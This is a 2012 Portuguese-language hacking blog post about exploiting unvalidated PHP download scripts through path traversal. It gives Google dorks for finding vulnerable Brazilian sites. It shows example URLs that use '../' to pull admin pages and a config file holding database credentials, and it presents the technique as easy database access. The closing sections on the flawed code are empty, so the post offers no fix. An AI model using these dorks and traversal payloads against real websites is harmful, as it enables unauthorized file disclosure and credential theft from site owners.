Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

Mostrando postagens com marcador fopen. Mostrar todas as postagens
Mostrando postagens com marcador fopen. Mostrar todas as postagens

quarta-feira, 29 de agosto de 2012

Explorando vulnerabilidade Fopen



Vamos falar de falhas.

Deis uma volta no Google "Uma busca avançada", percebi que 40% de alguns sites estão vulneráveis ao Attack FOPEN é algo simples e de certa forma avassalador se feito por alguém Mal-intencionado.

Referencia:

http://php.net/manual/pt_BR/function.fopen.php

Dork:

site:br inurl:download.php?file=
site:br inurl:baixar.php?arquivo=
inurl:dow.php?file= 

Só exemplos de dorks use sua criatividade.


Com Certeza alguns de vocês já fizeram algum download isso é #fato!.
Hoje vamos dar uma olhada no como o código PHP se comporta no dow.

Site ex: wwww.sitevull.com.br/baixar.php?arquivo=tutorial.pdf

O que acontece é que os GET's passados na URL estão sem validação, Assim com um simples trocar de parâmetro é possível baixar arquivos do site alvo.

ex: wwww.sitevull.com.br/baixar.php?arquivo=index.php
ex: wwww.sitevull.com.br/baixar.php?arquivo=index.html

Assim vai mais digamos, que no mesmo site você tem o seguinte cenário.

wwww.sitevull.com.br/admin

Vamos baixar o index da pasta Admin.

ex: wwww.sitevull.com.br/baixar.php?arquivo=../admin/index.php

Dentro da index Admin #fato que tem uma include ou require pra validar as informações passadas no form.

vamos dizer que encontramos no nosso alvo fictício um include para o arquivo de conexão com banco.


include("/secret/config.php");
?>

Vamos na url vulnerável e baixar o arquivo config.php

ex: wwww.sitevull.com.br/baixar.php?arquivo=../secret/config.php

Conteúdo do tipo.

        $user_site = "web_teste";
$user_site = "testepp";
$senha_site = "testeppg";
$host = "sitevull.com.br ";//IP TESTE
$conexao = mssql_connect($host,$user_site,$senha_site) or die("Erro");
$banco = "gppepe";


Pronto conseguimos acesso ao banco do site sem usar um script ou programa.

Forma errada sem validação:



Forma menos errada sem validação: